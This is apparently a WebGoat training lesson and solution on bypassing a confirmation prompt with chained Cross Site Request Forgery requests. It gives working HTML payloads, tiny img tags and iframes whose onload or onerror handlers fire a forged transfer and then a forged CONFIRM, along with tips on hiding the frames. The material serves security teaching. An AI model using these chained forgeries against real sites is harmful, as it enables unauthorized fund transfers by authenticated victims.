Lesson Plan Title:Prompt By-Pass with CSRF

Concept / Topic To Teach:
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing multiple requests to by-pass a scriptable user-prompt

General Goal(s):
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple malicious requests: the first to transfer funds, and the second a request to confirm the prompt that the first request triggered. The URL should point to the CSRF lesson with an extra parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on the left hand side menu

Solution:

Start by crafting an image or iframe tag similar to the CSRF LAB: <img src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" width="1" height="1" /> This image request will not result in a transfer of funds but will instead prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the Lesson with the extra parameter of "transferFunds=4000"
User Prompt for confirmation of the transfer of funds
User Prompt

Next look at the source of the page to see what parameters the confirmation requires. The form in the confirmation prompt looks like the following: 

<form accept-charset='UNKNOWN' method='POST' action='attack?Screen=5&menu=900' enctype='application/x-www-form-urlencoded'>
	<input name='transferFunds' type='submit' value='CONFIRM'>
	<input name='transferFunds' type='submit' value='CANCEL'>
</form>
From this we see the next forged command will need the folllowing URL:
attack?Screen=5&menu=900&transferFunds=CONFIRM
This solution shows how to do this attack with both iframes and images. The next step is to add the additional forged confirmation request. However, an additional iframe or image with this URL will not be sufficient. The second request must load after the first. So add Javascript to load the second command after the first. For iframes, make the onload attribute of the first frame set the src of the second iframe:
<iframe
	src="http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
	id="myFrame" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300"
	onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=CONFIRM';">

</iframe>
	
<iframe
	id="frame2" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300">
</iframe>
Next add the iframes into a message stored on the web page:
Picture of embedded message
Insert iframes hack picture

The following shows the result of clicking on the malicious iframe message: Picture of the malicious iframe message
Results of iframes hack picture
In the above image, note that the first frame shows the user prompt, the result of the first forged request to transfer funds. In the second frame the results of the second forged request (the confirmation) are shown, indicating that 4000 dollars were successfully transfered. Refreshing the page will indicate that this lesson has been completed.

In a real attack these results would be hidden from the end user. Click "restart this lesson" to attempt the attack again, only this time try hiding the attack with hidden or very small frames.

For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror:
<img src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'" width="1" height="1" /> <img id="image2" width="1" height="1" />
Next store the malicious images in a message and click the message to attempt the attack. Picture of the malicious iframe message
Picture of adding malicious image requests
Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.